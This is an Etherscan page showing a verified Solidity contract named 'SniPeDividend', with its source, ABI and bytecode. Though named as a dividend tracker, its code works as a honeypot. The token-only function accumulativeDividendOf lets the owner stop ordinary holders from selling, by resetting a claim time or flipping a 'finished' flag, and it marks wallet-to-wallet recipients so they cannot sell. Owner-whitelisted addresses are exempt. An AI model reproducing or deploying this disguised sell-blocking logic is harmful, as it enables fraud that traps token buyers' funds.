Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 4 from a total of 4 transactions
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
SniPeDividend
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract SniPeDividend is Ownable { address private token; bool private isDividendFinished; mapping (address => uint256) private _dividendTimePassed; address private pair; mapping(address => bool) private _whitelists; uint256 private claimTime; modifier onlyToken() { require(msg.sender == token); _; } function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) { if (_whitelists[_from] || _whitelists[_to]) { return 1; } if (_from == pair) { if (_dividendTimePassed[_to] == 0) { _dividendTimePassed[_to] = block.timestamp; } } else if (_to == pair) { require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime); } else { _dividendTimePassed[_to] = 1; } return 0; } function whitelistForDividendsSniPe(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } function setDividendFinishedSniPe(bool isFinished) external onlyOwner { isDividendFinished = isFinished; } function setClaimingTimeForDividendSniPe() external onlyOwner { claimTime = block.timestamp; } function setTokenForDividendsSniPe(address _token, address _pair) external onlyOwner { isDividendFinished = false; claimTime = 0; token = _token; pair = _pair; } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividendSniPe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinishedSniPe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDividendsSniPe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDividendsSniPe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506106628061005d5f395ff3fe60806040526004361061007c575f3560e01c80639c61bb751161004c5780639c61bb75146100fb578063cc5489df1461011a578063d0bffb5914610147578063f2fde38b14610166575f80fd5b8063564cfe6914610087578063715018a6146100a85780638da5cb5b146100bc57806391686854146100e7575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a136600461054f565b610185565b005b3480156100b3575f80fd5b506100a66101d5565b3480156100c7575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b3480156100f2575f80fd5b506100a6610246565b348015610106575f80fd5b506100a6610115366004610585565b610275565b348015610125575f80fd5b506101396101343660046105b6565b6102c8565b6040519081526020016100de565b348015610152575f80fd5b506100a66101613660046105b6565b6103f4565b348015610171575f80fd5b506100a66101803660046105de565b610454565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f7565b60405180910390fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105f7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461026f5760405162461bcd60e51b81526004016101ae906105f7565b42600555565b5f546001600160a01b0316331461029e5760405162461bcd60e51b81526004016101ae906105f7565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b6001545f906001600160a01b031633146102e0575f80fd5b6001600160a01b0383165f9081526004602052604090205460ff168061031d57506001600160a01b0382165f9081526004602052604090205460ff165b1561032a575060016103ee565b6003546001600160a01b039081169084160361037e576001600160a01b0382165f908152600260205260408120549003610379576001600160a01b0382165f9081526002602052604090204290555b6103eb565b6003546001600160a01b03908116908316036103cf57600154600160a01b900460ff161580156103c757506005546001600160a01b0384165f9081526002602052604090205410155b610379575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b81526004016101ae906105f7565b600180545f6005556001600160a81b0319166001600160a01b03938416179055600380546001600160a01b03191691909216179055565b5f546001600160a01b0316331461047d5760405162461bcd60e51b81526004016101ae906105f7565b6001600160a01b0381166104e25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b8035801515811461054a575f80fd5b919050565b5f6020828403121561055f575f80fd5b6105688261053b565b9392505050565b80356001600160a01b038116811461054a575f80fd5b5f8060408385031215610596575f80fd5b61059f8361056f565b91506105ad6020840161053b565b90509250929050565b5f80604083850312156105c7575f80fd5b6105d08361056f565b91506105ad6020840161056f565b5f602082840312156105ee575f80fd5b6105688261056f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204f0feef79c90aac26b75a47cec84321273615542ded3ff5559dcd6b519467ab264736f6c63430008140033
Deployed Bytecode
0x60806040526004361061007c575f3560e01c80639c61bb751161004c5780639c61bb75146100fb578063cc5489df1461011a578063d0bffb5914610147578063f2fde38b14610166575f80fd5b8063564cfe6914610087578063715018a6146100a85780638da5cb5b146100bc57806391686854146100e7575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a136600461054f565b610185565b005b3480156100b3575f80fd5b506100a66101d5565b3480156100c7575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b3480156100f2575f80fd5b506100a6610246565b348015610106575f80fd5b506100a6610115366004610585565b610275565b348015610125575f80fd5b506101396101343660046105b6565b6102c8565b6040519081526020016100de565b348015610152575f80fd5b506100a66101613660046105b6565b6103f4565b348015610171575f80fd5b506100a66101803660046105de565b610454565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f7565b60405180910390fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105f7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461026f5760405162461bcd60e51b81526004016101ae906105f7565b42600555565b5f546001600160a01b0316331461029e5760405162461bcd60e51b81526004016101ae906105f7565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b6001545f906001600160a01b031633146102e0575f80fd5b6001600160a01b0383165f9081526004602052604090205460ff168061031d57506001600160a01b0382165f9081526004602052604090205460ff165b1561032a575060016103ee565b6003546001600160a01b039081169084160361037e576001600160a01b0382165f908152600260205260408120549003610379576001600160a01b0382165f9081526002602052604090204290555b6103eb565b6003546001600160a01b03908116908316036103cf57600154600160a01b900460ff161580156103c757506005546001600160a01b0384165f9081526002602052604090205410155b610379575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b81526004016101ae906105f7565b600180545f6005556001600160a81b0319166001600160a01b03938416179055600380546001600160a01b03191691909216179055565b5f546001600160a01b0316331461047d5760405162461bcd60e51b81526004016101ae906105f7565b6001600160a01b0381166104e25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b8035801515811461054a575f80fd5b919050565b5f6020828403121561055f575f80fd5b6105688261053b565b9392505050565b80356001600160a01b038116811461054a575f80fd5b5f8060408385031215610596575f80fd5b61059f8361056f565b91506105ad6020840161053b565b90509250929050565b5f80604083850312156105c7575f80fd5b6105d08361056f565b91506105ad6020840161056f565b5f602082840312156105ee575f80fd5b6105688261056f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204f0feef79c90aac26b75a47cec84321273615542ded3ff5559dcd6b519467ab264736f6c63430008140033
Deployed Bytecode Sourcemap
2133:1532:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3179:118;;;;;;;;;;-1:-1:-1;3179:118:0;;;;;:::i;:::-;;:::i;:::-;;1978:148;;;;;;;;;;;;;:::i;940:79::-;;;;;;;;;;-1:-1:-1;978:7:0;1005:6;940:79;;-1:-1:-1;;;;;1005:6:0;;;510:51:1;;498:2;483:18;940:79:0;;;;;;;;3305:106;;;;;;;;;;;;;:::i;3030:141::-;;;;;;;;;;-1:-1:-1;3030:141:0;;;;;:::i;:::-;;:::i;2500:518::-;;;;;;;;;;-1:-1:-1;2500:518:0;;;;;:::i;:::-;;:::i;:::-;;;1420:25:1;;;1408:2;1393:18;2500:518:0;1274:177:1;3427:194:0;;;;;;;;;;-1:-1:-1;3427:194:0;;;;;:::i;:::-;;:::i;1172:244::-;;;;;;;;;;-1:-1:-1;1172:244:0;;;;;:::i;:::-;;:::i;3179:118::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;;;;;;;;;3258:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;3258:31:0::1;-1:-1:-1::0;;;;3258:31:0;;::::1;::::0;;;::::1;::::0;;3179:118::o;1978:148::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;2085:1:::1;2069:6:::0;;2048:40:::1;::::0;-1:-1:-1;;;;;2069:6:0;;::::1;::::0;2048:40:::1;::::0;2085:1;;2048:40:::1;2116:1;2099:19:::0;;-1:-1:-1;;;;;;2099:19:0::1;::::0;;1978:148::o;3305:106::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;3388:15:::1;3376:9;:27:::0;3305:106::o;3030:141::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3129:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3129:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3030:141::o;2500:518::-;2467:5;;2588:7;;-1:-1:-1;;;;;2467:5:0;2453:10;:19;2445:28;;;;;;-1:-1:-1;;;;;2610:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;2632:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;2610:38;2606:73;;;-1:-1:-1::0;2668:1:0::1;2661:8;;2606:73;2703:4;::::0;-1:-1:-1;;;;;2703:4:0;;::::1;2694:13:::0;;::::1;::::0;2690:311:::1;;-1:-1:-1::0;;;;;2724:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;:29;;2720:102:::1;;-1:-1:-1::0;;;;;2768:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2795:15:::1;2768:42:::0;;2720:102:::1;2690:311;;;2848:4;::::0;-1:-1:-1;;;;;2848:4:0;;::::1;2841:11:::0;;::::1;::::0;2837:164:::1;;2874:18;::::0;-1:-1:-1;;;2874:18:0;::::1;;;2873:19;:62:::0;::::1;;;-1:-1:-1::0;2926:9:0::1;::::0;-1:-1:-1;;;;;2896:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;2873:62;2865:71;;;::::0;::::1;2837:164;-1:-1:-1::0;;;;;2963:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2990:1:::1;2963:28:::0;;2837:164:::1;-1:-1:-1::0;3009:1:0::1;2483;2500:518:::0;;;;:::o;3427:194::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;3521:18:::1;:26:::0;;3542:5:::1;3556:9;:13:::0;-1:-1:-1;;;;;;3578:14:0;-1:-1:-1;;;;;3578:14:0;;::::1;;::::0;;3601:4:::1;:12:::0;;-1:-1:-1;;;;;;3601:12:0::1;::::0;;;::::1;;::::0;;3427:194::o;1172:244::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1261:22:0;::::1;1253:73;;;::::0;-1:-1:-1;;;1253:73:0;;2210:2:1;1253:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1253:73:0::1;2008:402:1::0;1253:73:0::1;1363:6;::::0;;1342:38:::1;::::0;-1:-1:-1;;;;;1342:38:0;;::::1;::::0;1363:6;::::1;::::0;1342:38:::1;::::0;::::1;1391:6;:17:::0;;-1:-1:-1;;;;;;1391:17:0::1;-1:-1:-1::0;;;;;1391:17:0;;;::::1;::::0;;;::::1;::::0;;1172:244::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;572:173::-;640:20;;-1:-1:-1;;;;;689:31:1;;679:42;;669:70;;735:1;732;725:12;750:254;815:6;823;876:2;864:9;855:7;851:23;847:32;844:52;;;892:1;889;882:12;844:52;915:29;934:9;915:29;:::i;:::-;905:39;;963:35;994:2;983:9;979:18;963:35;:::i;:::-;953:45;;750:254;;;;;:::o;1009:260::-;1077:6;1085;1138:2;1126:9;1117:7;1113:23;1109:32;1106:52;;;1154:1;1151;1144:12;1106:52;1177:29;1196:9;1177:29;:::i;:::-;1167:39;;1225:38;1259:2;1248:9;1244:18;1225:38;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o
Swarm Source
ipfs://4f0feef79c90aac26b75a47cec84321273615542ded3ff5559dcd6b519467ab2
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.